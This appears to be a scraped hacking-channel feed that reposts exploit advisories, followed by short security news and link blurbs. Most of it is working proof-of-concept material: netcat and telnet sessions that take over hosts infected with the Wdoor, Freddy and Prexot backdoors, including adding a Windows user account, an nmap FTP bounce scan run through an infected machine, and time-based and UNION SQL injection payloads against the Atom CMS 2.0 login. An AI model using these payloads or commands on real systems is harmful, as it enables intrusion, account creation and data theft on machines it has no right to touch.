Exploit Collector
Backdoor.Win32.Prexot.a Man-In-The-Middle

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Backdoor.Win32.Prexot.a malware suffers from a man-in-the-middle vulnerability.

MD5 | aa5e4eb06006a2dcf207be3a2d5ed11a

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prexot.a
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on random high TCP ports e.g 11404, 19545, 17001, 10110 and accepts any credentials. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 29bc048d58ab8038c7001ef0d5e69c9b
Vuln ID: MVID-2022-0485
Dropped files: services.exe, mstempf.exe
Disclosure: 02/08/2022
Exploit/PoC:
nmap -n -Pn -b malvuln:malvuln@192.168.18.129:19545 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-07 15:45 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://malvuln:malvuln@192.168.18.129:19545
Connected:220 Bot Server (Win32)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 15:46
Attempting connection to ftp://malvuln:malvuln@192.168.18.129:19545
Connected:220 Bot Server (Win32)
Login credentials accepted by FTP server!
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 15:46, 10.39s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 19.63 seconds
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Wdoor.11 Remote Command Execution

https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
Backdoor.Win32.Wdoor.11 malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | b57cd6448d7337bfd68c746366293d5b

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/55822613e0d0f437f3ebe5c7f4155452.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wdoor.11
Vulnerability: Unauthenticated Remote Command Execution
Description: Wdoor by F-king listens on TCP port 80. Third-party attackers who can reach the system can run any OS commands hijacking the infected host.
Type: PE32
MD5: 55822613e0d0f437f3ebe5c7f4155452
Vuln ID: MVID-2022-0483
Disclosure: 02/08/2022

Exploit/PoC:
nc64.exe x.x.x.x 80
Get Shell ok!

Get host error! SocketMicrosoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Atom CMS 2.0 SQL Injection

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
Atom CMS version 2.0 suffers from a remote SQL injection vulnerability.

MD5 | da443d2658775c9482ec46f79fccada9

Download
# Exploit Title: AtomCMS v2.0 - SQLi
# Date: 08/02/2022
# Exploit Author: Luca Cuzzolin aka czz78
# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS
# Version: v2.0
# Category: Webapps
# Tested on: Debian linux
# CVE : CVE-2022-24223
====================================================

# PoC : SQLi :

http://127.0.0.1/Atom.CMS/admin/login.php
POST /Atom.CMS/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/Atom.CMS/admin/login.php
Cookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
email=test%40test.com&password=1234
Vulnerable Payload :

Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=test@test.com' AND (SELECT 5613 FROM
(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234
Vector: AND (SELECT [RANDNUM] FROM
(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: email=test@test.com' UNION ALL SELECT
NULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--
-&password=1234
Vector: UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -
---
====================================================


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Prexot.a Authentication Bypass

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
Backdoor.Win32.Prexot.a malware suffers from a bypass vulnerability.

MD5 | b22c7bec7401a64473a7c1f48d186639

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prexot.a
Vulnerability: Authentication Bypass
Description: The malware listens on random high TCP ports e.g 11404, 19545, 17001, 10110. Third-party attackers who can reach an infected system can logon using any username/password combination.
Type: PE32
MD5: 29bc048d58ab8038c7001ef0d5e69c9b
Vuln ID: MVID-2022-0484
Dropped files: services.exe, mstempf.exe
Disclosure: 02/08/2022

Exploit/PoC:
nc64.exe x.x.x.x 10110
220 Bot Server (Win32)
USER malvuln
331 Password required.
PASS hate
230 Login successful. Have fun.
SYST
215 UNIX Type: L8
1PASV
227 Entering Passive Mode
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Grandstream GXV31XX settimezone Unauthenticated Command Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Freddy.2001 Authentication Bypass / Command Execution

https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
Backdoor.Win32.Freddy.2001 malware suffers from authentication bypass and remote command execution vulnerabilities.

MD5 | 54284610e15226f65a002ea1d5c32d82

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Freddy.2001
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders who can reach an infected host can gain access using an empty password and run commands made available by the backdoor using TELNET.
Type: PE32
MD5: 434923afc32a7bc7355ed9a5224b9273
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
Disclosure: 02/08/2022

Exploit/PoC:
#Note: use TELNET

telnet.exe x.x.x.x 19535

Enter password:

User: Victim
Computer net name: DESKTOP-2C3JQHO
IP address: 192.168.18.129
Local date & time: 2/3/2022 2:45:46 AM
Hackers connected: 2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Sycon>
Sycon> windows
Window 6976: dump
Window 6976: tmp
Window 1956: Administrator: Administrator Command Prompt
Window 6976: Program Manager
Sycon> cd \
CD: C:\
Sycon> dir
Found: $Recycle.Bin
Found: Boot
Found: bootmgr
Found: BOOTNXT
etc...
Sycon> exec calc
Executing...
Sycon> logoff
Windows is going down...
I'm killed!
Sycon>
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
CVE-2019-15947 Bitcoin Core Crash Dumps Contain Wallets Whitepaper

https://external-preview.redd.it/Ya0yiPg-RmCPJG_3gsQkJ2pPrusY0F2AlNX9DxifvbY.jpg?width=216&crop=smart&auto=webp&s=6772d9f917bd584c804736c881055e3bc7c976fb submitted by /u/oxagast
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
New release of 🔥Kubesploit v0.1.3🔥

I am happy 😀 to announce for the release of 🚀 Kubesploit v0.1.3 🚀!

🔥What's new🔥:
- New modules:
1. Container breakout using cGroup
2. Container breakout using kernel module
3. Deepce integration for scanning vulnerable docker containers
4. Module scanner that will show you what exploit you can use on the container
5. Bugfixes

Thanks to our contributors, and I also encourage you to check it and if you have any suggestion how to improve we would be happy to hear 😀.

You can find it here:
https://github.com/cyberark/kubesploit

Release Notes:
https://github.com/cyberark/kubesploit/releases

submitted by /u/jat0369
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://preview.redd.it/j256gx8b5ug81.png?width=640&crop=smart&auto=webp&s=164ad13fd21193dbb6ea2b78468c287b08ed0816 submitted by /u/DrinkMoreCodeMore
[link] [comments]

hacking: security in practice
Russia arrests third hacking group, reportedly seizes carding forums

https://external-preview.redd.it/0rIiLRJPnlR5AMnxmTzN5Vy8sf0aZqBwXCCPl8DJZQg.jpg?width=640&crop=smart&auto=webp&s=bb02a89cc52d843ea4550db45bdbd24deeb88340 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Breaking 256-bit Elliptic Curve Encryption with a Quantum Computer

submitted by /u/nangaparbat
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Everything you need to know about clickjacking

https://cdn-images-1.medium.com/max/1800/1*P7YRJ7eal9NlzNgVE-qzvA.png
A complete guide how to exploit clickjacking and how to prevent it.

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacker Türleri Nee

https://cdn-images-1.medium.com/max/600/1*vY74tm8sOoX7Sc3LJU0jwQ.png
Teknoloji, son yirmi yılda hızla gelişti ve teknoloji odaklı dünyamızda gezinmemize yardımcı olacak yeni yenilikler ve araçlar getirdi…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
MacChanger Kullanımı

https://cdn-images-1.medium.com/max/600/1*CJP5d0AmsGNMQW4_5PTE4Q.png
Mac Adresi teknoloji geliştikçe önemli bir hal almaya başladı. Bu yazımızda sizlere Mac Adresimizi değiştirmeyi sağlayan macchangeri‘i…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video